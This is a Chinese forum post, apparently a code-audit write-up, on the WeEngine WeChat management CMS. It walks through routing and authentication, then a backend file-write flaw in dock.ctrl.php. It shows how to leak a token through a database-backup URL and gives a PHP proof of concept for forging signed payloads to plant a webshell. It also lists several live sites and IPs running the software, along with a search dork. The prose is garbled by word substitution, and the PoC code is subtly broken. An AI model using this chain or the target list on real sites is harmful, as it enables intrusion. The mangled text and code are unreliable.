微擎审计

来源: 微擎 2023-4-17 04:00:42 显示全部楼层 |阅读模式
0x01 方针熟悉

软件简介:微擎是宿州市微擎云计较有限公司开辟的一款免费开源的微信公众号治理系统
官网地址:https://www.w7.cc/
开辟文档(https://wiki.w7.com/document/35/370)中提到,源代码位于:https://gitee.com/we7coreteam/pros
按照在线文档(https://wiki.w7.com/document)中的更新通告,最新版是2.7.50
按照开源代码库(https://gitee.com/we7coreteam/pros/tree/master/upgrade)中的记录,最新版是2.7.9
网站搭建好后,在底部又发现最新版是2.7.108
0x02 情况搭建

搭建微擎的进程中踩了很多坑,以下2个坑想搭建的徒弟有个心理预备:
1 微擎的版本挺庞杂的,下载后是2.7.108,成果搭建完成后底部却显现2.7.94,一样其他版本也是,下载时是一个版本,搭建后又是另一个版本
2 在最新的官网上已经不再供给离线安装的版本,而且供给的安装包(https://gitee.com/we7coreteam/pros)也是很多功用不全,必必要在官网注册认证过了才能经过在线升级来获得到全数功用,有点让人无语
下面是对官网供给的安装剧本的安装演示,一路头利用mac下的php集成情况MAMP,成果在最初一步毗连数据库的时辰会有题目,这里改用windows下集成情况phpstudy,将项目放到phpstudy对应目录下,拜候后按提醒操纵即可,搭建完成以下图


拜候方针地址,发现是已登录状态


利用全新的阅读器拜候方针地址,可看到未登录状态下首页以下图


下图是踩坑时搭建的多个版本




0x03 互联网案例

12345678https://www.zxida.com/web/https://39.98.239.118/web/https://www.cdwjsq.com/web/https://mp.wxquan.cn/web/http://49.234.65.194/web/http://wx.mindmob.cn/web/intitle:"微擎 - 公众平台自助引擎 - Powered by W7.CC"

0x04 起头审计

01 目录结构

源码下载到当地后,可以看到目录结构以下


对上述目录结构诠释以下
123456789101112131415addons             微擎模块api                对接内部系统接口APP                微站 (Mobile / App)data               寄存设置文件framework          微擎框架payment            付出挪用目录tester             测试用例upgrade            升级剧本web                背景治理api.php            微信api接口console.php        号令行履行文件index.php          系统进口install.php        安装文件attachment         附件目录

02 肯定路由

当传入的URL请求中包括一个名为 cado的 GET 参数,它即被视为一个路由,例如:
12345http://we7.cc/web/index.php?c=platform&a=menu&则会路由至 /web/source/platform/menu.ctrl.php 文件中http://we7.cc/app/index.php?c=mc&a=home&则会路由至 /app/source/mc/home.ctrl.php 文件中

其中c为控制器(controller),a为操纵(action),do为行为(do),且do是可选的,也就是不指定的话会利用默许行为
控制器以文件夹、文件的形式构造,位于系统的 source 目录下,每一个目录代表一个 controller ,文件夹中的每个文件即为一个 action。某些情况,一个action能够会包括多个操纵,系统中供给 do 参数来用于区分同一个 action 中的分歧操纵。例如:
1http://pro.we7.cc/web/index.php?c=extension&a=module&do=designer

extension为控制器,module为action,designer为该action下的某一个具体的do
微擎中对于模块的拜候,路由稍微纷歧样
当传入的 c 值为 “site”, a 值为 “entry”时则是一个模块路由,例如:
1http://we7.cc/web/index.php?c=site&a=entry&do=themeset&m=we7_demo

则会路由至 /addons/we7_demo/site.php 文件中的 doWebThemeset() 方式。
1http://we7.cc/app/index.php?i=1&j=2&c=entry&do=list&m=we7_demo

则会路由至 /addons/we7_demo/site.php 文件中的 doMobileList() 方式。
03 肯定鉴权

文档中提到,移动端代码位于目录/app/下,web段代码位于目录/web/下,我们先看下web端代码,目录结构以下




其中进口文件为index.php,通读index.php后会发现,鉴权首要由以下代码实现


可看到假如拜候的是无需鉴权的接口,则间接跳到对应controller及action处,否则会挪用checklogin(),也就是需要检查登录状态
其中$acl在上面被界说为
1$acl = require IA_ROOT . '/web/common/permission.inc.php';

进入文件permission.inc.php可看到,控制器advertisement下面无可间接拜候的action,控制器article下面notice-show,news-show,notice-news是可间接拜候的


image-20221206155010265
依照此纪律,可梳理出前台拜候的接口,及背景拜候的接口
04 前台缝隙

前台接口中暂未发现缝隙点
05 背景缝隙

缝隙1:已公然但无POC

缝隙出现在web/source/cloud/dock.ctrl.php


简单报告一下代码逻辑(搞懂下面的逻辑,才能机关exp),按照之前的路由分析可知,传入的行动为download时,进入子句
传入的post数据假如停止了base64编码,则解码后赋值给data,否则间接赋值给data,对data停止反序列化,反序列化后先对数组中的file停止base64解码,再判定能否存在gzcompress和gzuncompress,存在的话再停止解压,最初赋值给file
从缓存中获得cloud_transtoken,并传入authcode停止解密,赋值给全局变量$_W中的setting->site->token,对file停止md5加密再拼接数组中的path以及全局变量$_W中的setting->site->token,最初赋值给string
假如全局变量$_W中的setting->site->token非空,且string停止md5加密后即是数组中的sign,则进入子句
判定数组中的path能否以”/web”或”/framework”开首,此处我们在机关数组中path的时辰只需以”/“开首即可绕过,绕事后子句中机关数组path的全途径,最初挪用file_put_contents写入webshell
这里有一个难点,就是从缓存中获得cloud_transtoken,全局搜索,经过度析发现,拜候链接 http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456 停止数据库备份,则数据库备份文件的地址为:http://ip:port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获得cloud_transtoken的值,对应的exp编写以下
简单诠释一下,挪用项目中的函数authcode,传入cloud_transtoken,获得返回的值,按照之前分析的代码逻辑,反向机关原始数据包,并将payload嵌入其中
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283<?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {    $ckey_length = 4;    $key = md5('' != $key ? $key : "62a37a4d");    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ('DECODE' == $operation ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';    $cryptkey = $keya . md5($keya . $keyc);    $key_length = strlen($cryptkey);    $string = 'DECODE' == $operation ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;    $string_length = strlen($string);    $result = '';    $box = range(0, 255);    $rndkey = array();    for ($i = 0; $i <= 255; ++$i) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }    for ($j = $i = 0; $i < 256; ++$i) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }    for ($a = $j = $i = 0; $i < $string_length; ++$i) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }    if ('DECODE' == $operation) {        if ((0 == substr($result, 0, 10) || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {            return substr($result, 26);        } else {            return '';        }    } else {        return $keyc . str_replace('=', '', base64_encode($result));    }}$cloud_transtoken = ""$token = authcode($cloud_transtoken, "DECODE");function build() {    $file = "aaa";    $path = "/test.txt"    $string = (md5($file) . $path . $token);    $sign = md5($string)    $file_ = gzcompress($file);    // print($file_);    $file__ = base64_encode($file_);    // print($file__);    $ret = array(        "file" => $file__,        "path" => $path,        "sign" => $sign    );    print(serialize($ret));}// build();/*$gz = function_exists('gzcompress') && function_exists('gzuncompress');if ($gz) {    echo "yes";} else {    echo "no";}*/

由于我这边是当地搭建的情况,站点没法注册,致使数据库备份后无cloud_transtoken,不能演示打poc进程,对于现实站点,获得cloud_transtoken后,可基于上述poc获得webshell
参考链接

微擎 CMS:从 SQL 到 RCE https://cnpanda.net/codeaudit/863.html
记一次从源代码泄露到背景获得webshell的进程 https://fuping.site/2020/04/18/WeiQing-CMS-Background-Admin-GetShell/
代码审计之某通用商城系统getshell进程 https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA
微擎路由 https://www.kancloud.cn/donknap/we7/134629
微擎设备开辟形式 https://www.kancloud.cn/tieniuweb/we7web/1431036
微擎加载器 https://www.kancloud.cn/donknap/we7/134628
离线安装包 http://www.log4cpp.com/learnother/17.html

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

社群微信二维码

私域运营微信群

每天分享1-5个创业赚钱知识,每天分享1-5个私域运营内部资料。扫一扫立即进群。

创始人微信二维码

创始人私人微信

本站创始人私人微信,13年互联网营销经验,免费教大家私域流量运营,扫一扫添加为好友。

相关推荐

七夕案例分享|盘点品牌私域营销玩法

七夕案例分享|盘点品牌私域营销玩法

继520后,又一个大型示爱节点七夕到了。作为传统节日,七夕的爱情属性更为纯粹鲜明,

产品更新|启博微分销第244期优化了这8个功能

产品更新|启博微分销第244期优化了这8个功能

本期亮点功能 第244期更新 视频号小店打通推三返一和X+1活动【新增】; 汇付分账优

启博视角:2024年私域还是企业必选项吗?

启博视角:2024年私域还是企业必选项吗?

2023年伊始,私域运营已逐渐成为众多企业战略层面的关注焦点。无论是由于疫情导致线下

启博微分销智慧门店新零售解决方案

启博微分销智慧门店新零售解决方案

启博微分销智慧门店新零售解决方案:数字化连锁门店助力线上营销创新 随着消费者购物

什么是私域运营?哪些行业适合做私域运营?

什么是私域运营?哪些行业适合做私域运营?

私域运营是指在不依赖公域流量的情况下,通过社交媒介与客户进行沟通和引导,最终实现

启博【门店分销解决方案】,帮助商家搞定ROI

启博【门店分销解决方案】,帮助商家搞定ROI

线下门店做分销,实际是新零售环境下一种有效联动线上线下流量、销量的营销方式。对于

利用小程序商城,2招积累数万私域客户 #干货分享

利用小程序商城,2招积累数万私域客户 #干货分享

本文将分享小程序商城的两个方法,帮助商家积累数万私域客户。 ·第一招是推出付费金

启博微分销第231期产品更新:重点优化了这7个功能

启博微分销第231期产品更新:重点优化了这7个功能

本期亮点功能 第231期更新 1.门店后台创建订单可选配送方式【新增】; 2.供应商创建

启博小程序分销商城有哪些运营模式?

启博小程序分销商城有哪些运营模式?

从腾讯2022年Q3财报中看到,微信小程序的日活已破6亿,是实现私域增长的核心引擎,小

2023启博乔迁新址·兔年开工大吉

2023启博乔迁新址·兔年开工大吉

开工大吉 启博2023乔迁新址:浙江省杭州市余杭区利尔达园区1幢7楼 新年新貌新风采 万

MORE+
  • 日排行
  • 周排行
  • 月排行
电话咨询: 15924191378
添加微信